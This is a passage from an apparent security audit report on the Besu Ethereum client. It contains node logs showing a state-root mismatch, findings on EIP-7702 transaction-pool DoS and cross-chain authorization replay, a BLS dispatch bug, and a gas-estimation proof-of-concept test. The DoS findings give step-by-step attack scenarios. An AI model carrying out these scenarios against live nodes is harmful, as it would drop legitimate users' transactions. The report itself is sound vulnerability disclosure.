    at org.hyperledger.besu.ethereum.MainnetBlockValidator.processBlock(MainnetBlockValidator.java:25
    → 1)
    at org.hyperledger.besu.ethereum.MainnetBlockValidator.validateAndProcessBlock(MainnetBlockValida
    → tor.java:171)
    at org.hyperledger.besu.ethereum.MainnetBlockValidator.validateAndProcessBlock(MainnetBlockValida
    → tor.java:109)
    at org.hyperledger.besu.consensus.merge.blockcreation.MergeCoordinator.validateBlock(MergeCoordin
    → ator.java:562)
    at org.hyperledger.besu.consensus.merge.blockcreation.MergeCoordinator.rememberBlock(MergeCoordin
    → ator.java:592)
    at org.hyperledger.besu.consensus.merge.blockcreation.TransitionCoordinator.rememberBlock(Transit
    → ionCoordinator.java:160)
    at org.hyperledger.besu.ethereum.api.jsonrpc.internal.methods.engine.AbstractEngineNewPayload.syn
    → cResponse(AbstractEngineNewPayload.java:358)
    at org.hyperledger.besu.ethereum.api.jsonrpc.internal.methods.ExecutionEngineJsonRpcMethod.lambda
    → $response$0(ExecutionEngineJsonRpcMethod.java:90)
    at io.vertx.core.impl.ContextImpl.lambda$executeBlocking$1(ContextImpl.java:191)
    at io.vertx.core.impl.ContextInternal.dispatch(ContextInternal.java:270)
    at io.vertx.core.impl.ContextImpl.lambda$internalExecuteBlocking$2(ContextImpl.java:210)
    at io.vertx.core.impl.TaskQueue.run(TaskQueue.java:76)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
    at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
    at java.base/java.lang.Thread.run(Thread.java:1583)
2025-03-11 14:56:04.161+00:00 | vert.x-worker-thread-0 | INFO | MainnetBlockValidator | Failed to
→ process block 48 (0x5d7d998e71a4ba8eaa39f56ca6e89a5c30ad215cd3e5a35e1c2b0258d1e11c0c):
→ Optional[World State Root does not match expected value, header
→ 0x86161345e057f27fe6206e81feca9ab12ec26c0a4bfff716d05be08001918dba1 calculated
→ 0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789], caused by
→ java.lang.RuntimeException: World State Root does not match expected value, header
→ 0x86161345e057f27fe6206e81feca9ab12ec26c0a4bfff716d05be08001918dba1 calculated
→ 0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
2025-03-11 14:56:04.162+00:00 | vert.x-worker-thread-0 | WARN | AbstractEngineNewPayload | Invalid new
→ payload: number: 48, hash: 0x5d7d998e71a4ba8eaa39f56ca6e89a5c30ad215cd3e5a35e1c2b0258d1e11c0c,
→ parentHash: 0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee, latestValidHash:
→ 0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee, status: INVALID,
→ validationError: World State Root does not match expected value, header
→ 0x86161345e057f27fe6206e81feca9ab12ec26c0a4bfff716d05be08001918dba1 calculated
→ 0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
2025-03-11 14:56:08.012+00:00 | vert.x-worker-thread-0 | INFO | MergeCoordinator | Start building
→ proposals for block 48 identified by 0x2be16fdc649c3aef
2025-03-11 14:56:08.022+00:00 | vert.x-worker-thread-0 | INFO | AbstractEngineForkchoiceUpdated |
→ FCU(VAID) | head: adab1....ad6ee | finalized: 00000....00000 | safeBlockHash: 00000....00000
2025-03-11 14:56:19.734+00:00 | vert.x-worker-thread-0 | INFO | AbstractEngineNewPayload | Imported #48
→ (96e38....660e6)| 1 tx| 0 ws| 0 blobs| base fee 1.65 mwei| gas used 46,000 ( 0.2%)|
→ exec time 0.005s| mgas/s 9.20| peers: 2
2025-03-11 14:56:32.011+00:00 | vert.x-worker-thread-0 | INFO | MergeCoordinator | Start building
→ proposals for block 49 identified by 0x0ec1a58e2cc872d7
2025-03-11 14:56:40.131+00:00 | vert.x-worker-thread-0 | INFO | AbstractEngineNewPayload | Imported #49
→ (635f8....cf9ef)| 0 tx| 0 ws| 0 blobs| base fee 1.44 mwei| gas used 0 ( 0.0%)|
→ exec time 0.002s| mgas/s 0.00| peers: 2

```

## • Geth:

[illegible]

- **Nethermind:**

```

11 Mar 14:55:52 | Synced Chain Head to 47 (0xadab17...fad6ee)
11 Mar 14:55:52 | Received ForkChoice: 0xadab17...fad6ee, Safe: 0x000000...000000, Finalized:
→ 0x000000...000000
11 Mar 14:55:52 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:52 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:55 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:55 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:58 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:58 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:01 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:01 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:04 | GetPayloadV4 result: 48 (0x5d7d99...e11c0c).
11 Mar 14:56:04 | Received New Block: 48 (0x5d7d99...e11c0c) | limit 30,000,000 | Extra
→ Data: Nethermind
11 Mar 14:56:04 | Processed 48 | 1.7 ms | slot 12,013 ms | Gas
→ gwei: 0.00 .. 0.00 (0.00) .. 0.00
11 Mar 14:56:04 | Block 0.0000 ETH 0.05 MGas | 1 txs | calls 0 ( 0) |
→ sload 8 | sstore 10 | create 0
11 Mar 14:56:04 | Block throughput 27.59 MGas/s | 599.9 tps | 599.88 Blk/s |
→ exec code from cache 4 | new 0
11 Mar 14:56:04 | Received ForkChoice: 0x5d7d99...e11c0c, Safe: 0x000000...000000, Finalized:
→ 0x000000...000000
11 Mar 14:56:04 | Synced Chain Head to 48 (0x5d7d99...e11c0c)
11 Mar 14:56:19 | Received New Block: 48 (0x96e382...7660e6) | limit 30,000,000 | Address:
→ 0x8943545177806ed17b9f23f0a21ee5948ecaa776
11 Mar 14:56:19 | Processed block 48 (0x3677ea...9273fe) is invalid:

```

```

11 Mar 14:56:19 | - hash: expected 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6,
↳ got 0x3677eaec07e29477db37ff44605febddcbda8af372c9c972f3105ad63c9273fe
11 Mar 14:56:19 | - state root: expected
↳ 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↳ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | - block extra data : , UTF8:
11 Mar 14:56:19 | Rejected invalid block 48
↳ (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6), ExtraData: , reason: invalid
↳ block after processing
11 Mar 14:56:19 | Encountered exception Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot:
↳ State root in header does not match. Expected
↳ 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↳ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↳ suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↳ /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing
↳ blocks.
11 Mar 14:56:19 | Issue processing block Hash:
↳ 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6
Number: 48
Parent: 0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee
Beneficiary: 0x8943545177806ed17b9f23f0a21ee5948ecaa776
Gas Limit: 30000000
Gas Used: 46000
Timestamp: 1741704976
Extra Data:
Difficulty: 0
Mix Hash: 0x290163e22cb535a266911db2f8ad931a6209f4e54d1103df4a1fa364cf8f3670
Nonce: 0
Uncles Hash: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Tx Root: 0x1cb663a206138c4bcd9d839ba085a7263c41810a41a77ed0b0604fa5c6dce8fa
Receipts Root: 0x37480b665aeb118ed9bc63e8f9fa16d8b50763ad731aa8e53df8e5ba73098a7e
State Root: 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d
BaseFeePerGas: 1645840
WithdrawalsRoot: 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cad001622fb5e363b421
ParentBeaconBlockRoot: 0x5c374b9fd22700b3d713770798a748362c989466272ff726f6e62b29311df61b
BlobGasUsed: 0
ExcessBlobGas: 0
IsPostMerge: True
TotalDifficulty: 0
RequestsHash: 0xe3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855
Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot: State root in header does not match.
↳ Expected 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↳ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↳ suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↳ /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148
at Nethermind.Consensus.Processing.BlockchainProcessor.ProcessBranch(ProcessingBranch&
↳ processingBranch, ProcessingOptions options, IBlockTracer tracer, String& error)
11 Mar 14:56:19 | Created a RLP dump of invalid block
↳ 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 in file
↳ /tmp/block_0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6.rlp
11 Mar 14:56:19 | Processed block 48 (0x3677ea...9273fe) is invalid:
11 Mar 14:56:19 | - hash: expected 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6,
↳ got 0x3677eaec07e29477db37ff44605febddcbda8af372c9c972f3105ad63c9273fe
11 Mar 14:56:19 | - state root: expected
↳ 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↳ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | - block extra data : , UTF8:
11 Mar 14:56:19 | Rejected invalid block 48
↳ (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6), ExtraData: , reason: invalid
↳ block after processing
11 Mar 14:56:19 | Encountered exception Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot:
↳ State root in header does not match. Expected
↳ 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↳ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↳ suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↳ /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing
↳ blocks.
11 Mar 14:56:19 | Created a Receipts trace of invalid block
↳ 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 in file
↳ /tmp/receipts_0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6.txt
11 Mar 14:56:19 | Deleting invalid block
↳ 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 at level 48

```

```

11 Mar 14:56:19 | Rejected invalid block 48
→ (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6), ExtraData: , reason:
→ InvalidStateRoot: State root in header does not match. Expected
→ 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
→ 0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | ***** JSON RPC report *****
-----
method | successes | avg (ms) | max (ms) | errors | avg (ms) | max (ms) | avg size
→ B | total (kB) |
-----
engine_forkchoiceUpdatedV3 | 31 | 1.111 | 9.051 | 0 | 0.000 | 0.000 |
→ 203 | 6.13 |
engine_getPayloadV4 | 7 | 0.850 | 2.299 | 0 | 0.000 | 0.000 |
→ 1462 | 10.00 |
engine_newPayloadV3 | 6 | 3.647 | 5.072 | 0 | 0.000 | 0.000 |
→ 164 | 0.96 |
engine_newPayloadV4 | 18 | 4.136 | 14.459 | 0 | 0.000 | 0.000 |
→ 164 | 2.88 |
eth_getBlockByNumber | 48 | 0.265 | 1.098 | 0 | 0.000 | 0.000 |
→ 1762 | 82.61 |
eth_getLogs | 25 | 0.232 | 0.500 | 0 | 0.000 | 0.000 |
→ 38 | 0.93 |
-----
TOTAL | 135 | 1.150 | 14.459 | 0 | 0.000 | 0.000 |
→ 785 | 103.51 |
-----
11 Mar 14:56:23 | Received ForkChoice: 0x5d7d99...e11c0c, Safe: 0x000000...000000, Finalized:
→ 0x000000...000000
11 Mar 14:56:23 | Produced block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:23 | Improved post-merge block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:26 | Produced block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:26 | Improved post-merge block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:28 | GetPayloadV4 result: 49 (0x5b530e...c7e1f3).
11 Mar 14:56:28 | Received New Block: 49 (0x5b530e...c7e1f3) | limit 30,000,000 | Extra
→ Data: Nethermind
11 Mar 14:56:28 | Processed 49 | 0.9 ms | slot 20,401 ms |
11 Mar 14:56:28 | Block 0.0000 ETH 0.00 MGas | 0 txs | calls 0 ( 0 ) |
→ sload 8 | sstore 10 | create 0
11 Mar 14:56:28 | Block throughput 0.00 MGas/s | 0.0 tps | 1121.08 Blk/s |
→ exec code from cache 3 | new 0
11 Mar 14:56:28 | Received ForkChoice: 0x5b530e...c7e1f3, Safe: 0x000000...000000, Finalized:
→ 0x000000...000000
11 Mar 14:56:28 | Synced Chain Head to 49 (0x5b530e...c7e1f3)

```

**Recommendation:** Consider verifying that the `s` value of EIP-7702 authorization signature is not equal to zero.

### 3.2.3 Besu lack of 7702 filters for tx-pool transactions allows tx-pool DoS

Submitted by [guhu95](#)

**Severity:** Low Risk

**Context:** (No context files were provided by the reviewer)

**Summary:** The EIP [recommends](#) to implement tx-pool DoS protection from 7702 transactions:

.. it becomes possible to cause transactions from other accounts to become stale. This is due to the fact that once an EOA has delegated to code, that code can be called by anyone at any point in a transaction ...

... the authors recommend that clients do not accept more than one pending transaction for any EOA with a non-zero delegation designator. This minimizes the number of transactions that can be invalidated by a single transaction.

Both [Geth](#) and [Nethermind](#) implement two filters:

- Senders filter: Allow only one tx from senders with auth (deployed or pending).
- Authorizations filter: Allow only one pending auth for any account.

Besu, however, lacks these filters, exposing its validators and RPC users to DoS. Besu only includes automatic invalidation of [pending transactions from new authorizations](#) in newly received blocks, which does not help with the risks mitigated by the recommended filters.

**Finding Description:** Example scenario:

- Deploy and fund multiple accounts A001...A500 with EIP-7702 delegations. Delegation is to a Sweeper contract that sweeps ETH to the attacker (or back).
- Submit transactions to the Besu nodes from these accounts with max base fee just below current level.
- Accounts have sufficient ETH so appear statically valid and are added to the pool. Each account can submit [200 consecutive nonces](#), taking up [all 25MB allocated](#) to the tx-pool. Calldata heavy transactions can be very large (even one account can fill up 25MB if each of their 200 txs is 125kb). Their price is irrelevant since they will be invalidated.
- All other legitimate [pending transactions are evicted / replaced](#).
- A single transaction calling these accounts, included in the next slot, can sweep their ETH, or bump their nonce via EIP-7702, making them invalid and stale.

**Impact Explanation:**

- Besu validators are DoS-ed if any are scheduled to produce a block, since their pools contain no valid transaction to include.
- Users of Besu RPCs are DoS-ed, since their legitimate pending transactions will be discarded.
- L2 chain with Besu as sequencer will drop all pending user transaction, DoSing the whole L2 chain.

**Likelihood Explanation:** Given the protections implemented in other nodes, this only grieves Besu and Reth validators (similar issue) and users of Besu and Reth RPCs, which is about 10%+1% of network, so is likely not a profitable attack - thus low likelihood.

**Recommendation:** Implement the filters recommended in the EIP.

### 3.2.4 Besu allows cross-chain replays of 7702 to DoS pending transactions

*Submitted by [guhu95](#)*

**Severity:** Low Risk

**Context:** *(No context files were provided by the reviewer)*

**Summary:** Besu includes automatic invalidation of [pending transactions from new authorizations](#) in newly received blocks.

However, since authorizations do not have to be valid (they are skipped during execution), the tx-pool is exposed to DoS via replay of past authorizations from other chains. This is because auth tuples nonces invalidate any pending txs from the sender.

**Finding Description:** Example scenario:

- User A,...,Z have code delegations on an L2 chain, for example Base.
  - The delegation can be chain specific, and so invalid on L1.
  - Or it can be chain agnostic, since the users' nonce on Base is higher than on ETH, due to users being more active there (due to low fees). So an auth tuple issued for Base will have a higher nonce than the user has on ETH (and so be invalid there).
- When these users have pending transactions in the mempool, an attacker can include, and repeatedly replay their Base auth on L1.
- Note that the attacker's transaction can do something unrelated (like trading or relaying) they would do anyway, and the auth will have no effect on their transaction other than adding 12500 gas per grieved user. This is because invalid auths are skipped (no-op).



- Besu will consider the max known nonce for each of those users to be bumped, and will [remove all pending transactions from that user..](#)
- Any time these user submit another transaction, the same authorization tuple can be replayed to drop their transactions.

Since many users have higher nonces on L2s (or other chains), any auths issued there (either chain-specifically, or chain-agnostically), will be invalid on L1 (until the nonce catches up), and can be used for this attack.

#### Impact Explanation:

- Users of Besu RPCs are DoS-ed, since their legitimate pending transactions can be discarded at will repeatedly if they used EIP-7702 on other chains.
- Besu validators are partially DoS-ed if any are scheduled to produce a block, since legitimate profitable transactions are dropped from their pools.
- L2 chains with Besu as sequencer will drop the targeted users' transactions, DoSing the users from transacting on that chain.

**Likelihood Explanation:** This only grieves users of Besu RPCs, which is about 10% of network, and costs some gas to the attacker - thus low likelihood. Might be higher likelihood for targeted accounts that perform some time sensitive functionality that would be included by a Besu validator.

**Recommendation:** Both of these validations are possible statically (do not require any state lookups):

- Check the chain id of the auth tuple to match the chain (or be 0).
- Check the tuple's nonce to not have a gap that is too large from the current nonce.

## 3.3 Informational

### 3.3.1 Besu native uses incorrect length for dispatching

*Submitted by [zigtur](#), also found by [alexfilippov314](#) and [JCdaisuki](#)*

**Severity:** Informational

**Context:** [BLS12G1MultiExpPrecompiledContract.java#L24](#), [LibGnarkEIP2537.java#L67-L68](#).

**Description:** The besu client uses the besu-native library for BLS cryptography operations. For the G1 MSM precompile, the besu-native library can use two functions depending on the input length:

```
case BLS12_G1MULTIEXP_OPERATION_SHIM_VALUE:
    // for pair count <= 2, use straight add/mul loop:
    if (i.length <= 192 * 2) {
        ret = eip2537blsG1MultiExp(i, output, err, i_len,
            EIP2537_PREALLOCATE_FOR_RESULT_BYTES, EIP2537_PREALLOCATE_FOR_ERROR_BYTES);
    } else {
        ret = eip2537blsG1MultiExpParallel(i, output, err, i_len,
            EIP2537_PREALLOCATE_FOR_RESULT_BYTES, EIP2537_PREALLOCATE_FOR_ERROR_BYTES,
            degreeOfMSMParallelism);
    }
    o_len.setValue(128);
    break;
```

As we can see, the check is `i.length <= 192 * 2`. However, each element of G1 MSM is supposed to be 160 bytes and not 192. 160 corresponds to a G1 point (128 bytes) and a scalar (32 bytes).

**Recommendation:** The besu-native library should be fixed to use the `(i.length <= 160 * 2)` check instead.

### 3.3.2 Besu doesn't apply EIP-7623 during gas estimation

*Submitted by [alexfilippov314](#)*

**Severity:** Informational

**Context:** [MainnetTransactionProcessor.java#L555](#)

**Description:** EIP-7623 increases calldata costs for data-heavy transactions. The issue arises from the fact that while Besu applies EIP-7623 during block processing, it does not apply it during gas estimation.

This happens due to passing `gasUsedByTransaction` to `TransactionProcessResult` in the `MainnetTransactionProcessor.processTransaction` function. One such occurrence is demonstrated in the referenced code. The `gasUsedByTransaction` value is computed as:

```
final long gasUsedByTransaction = transaction.getGasLimit() - initialFrame.getRemainingGas();
```

This value does not account for EIP-7623 and, therefore, might be off by a significant margin. The POC demonstrates a case where Besu returns a gas estimate of 659116, while the actual value is approximately 1630000. This issue could result in highly inaccurate responses to `eth_estimateGas` calls, potentially leading to fund losses for users relying on Besu nodes to set transaction gas limit values.

**Proof of Concept:** Run the following test with Besu and other execution clients:

```
package main

import (
    "context"
    "fmt"
    "testing"

    "github.com/ethereum/go-ethereum"
    "github.com/ethereum/go-ethereum/common"
    "github.com/ethereum/go-ethereum/ethclient"
    "github.com/stretchr/testify/require"
)

func TestPocBesuEstimateGasEip7623(t *testing.T) {
    // 1. Generate huge calldata
    data := make([]byte, 40000)
    for i := range data {
        data[i] = byte(i)
    }

    // 2. Prepare message
    msg := ethereum.CallMsg{
        To:    &common.Address{},
        From:  common.Address{},
        Data:  data,
    }

    // 3. Check the gas estimate for all RPCs. The RPCs correspond to Geth, Besu, and Nethermind nodes,
    // ↪ respectively.
    rpcs := []string{"http://127.0.0.1:32913", "http://127.0.0.1:32918", "http://127.0.0.1:32923"}
    for _, rpc := range rpcs {
        client, err := ethclient.Dial(rpc)
        require.NoError(t, err)
        gas, err := client.EstimateGas(context.Background(), msg)
        require.NoError(t, err)
        fmt.Println(gas)
    }
}
```

In my case, the result looks as follows:

```
=== RUN    TestPocBesuEstimateGasEip7623
1630285
659116
1629578
--- PASS: TestPocBesuEstimateGasEip7623 (0.01s)
PASS
ok        github.com/alexfilippov314/gop    0.027s
```

**Recommendation:** I believe the historical reason for using this value as the gas estimate was to exclude gas refunds, which makes sense since refunds can only decrease the required gas limit. However, after implementing EIP-7623 in the `PragueGasCalculator.calculateGasRefund` function, this logic now seems problematic, as the required gas limit could be significantly greater than the estimate. Consider refactoring this logic to account for EIP-7623 in the gas estimate.



### 3.3.3 Besu incorrectly traces CALL\* gas costs for 7702 delegations

Submitted by [guhu95](#)

**Severity:** Informational

**Context:** [AbstractCallOperation.java#L252-L256](#)

**Description:** Besu correctly charges gas for 7702 delegations by decrementing the delegation access cost `codeDelegationResolutionGas` , but it's then not accounted for in subsequent `OperationResult` return values, and when gas increments:

- Incorrect increment ([AbstractCallOperation.java#L223](#)).
- Incorrect `OperationResult` cost ([OperationResult.java#L235](#)).
- Incorrect increment ([AbstractCallOperation.java#L253](#)).
- Incorrect `OperationResult` cost ([AbstractCallOperation.java#L256](#)).

Because the increments and the result costs are **both** incorrect in exactly the same way, the inaccuracy cancels out, and all other decrements are always made safely, the final gas accounting check in `EVM.runToHalt` is consistent (and the code behind that check is unreachable in tests).

**Impact:** Currently, this only impacts the tracing outputs accuracy via [EVM.java#L355](#), as explained in [AbstractCallOperation.java#L221-L222](#).

However, if in the future, if another (unrelated) decrement would rely on that final `runToHalt` check, it can be tricked to fail or pass incorrectly by using the delegation decrements.

**Recommendation:**

```
frame.decrementRemainingGas(codeDelegationResolutionGas);  
+ cost += codeDelegationResolutionGas;
```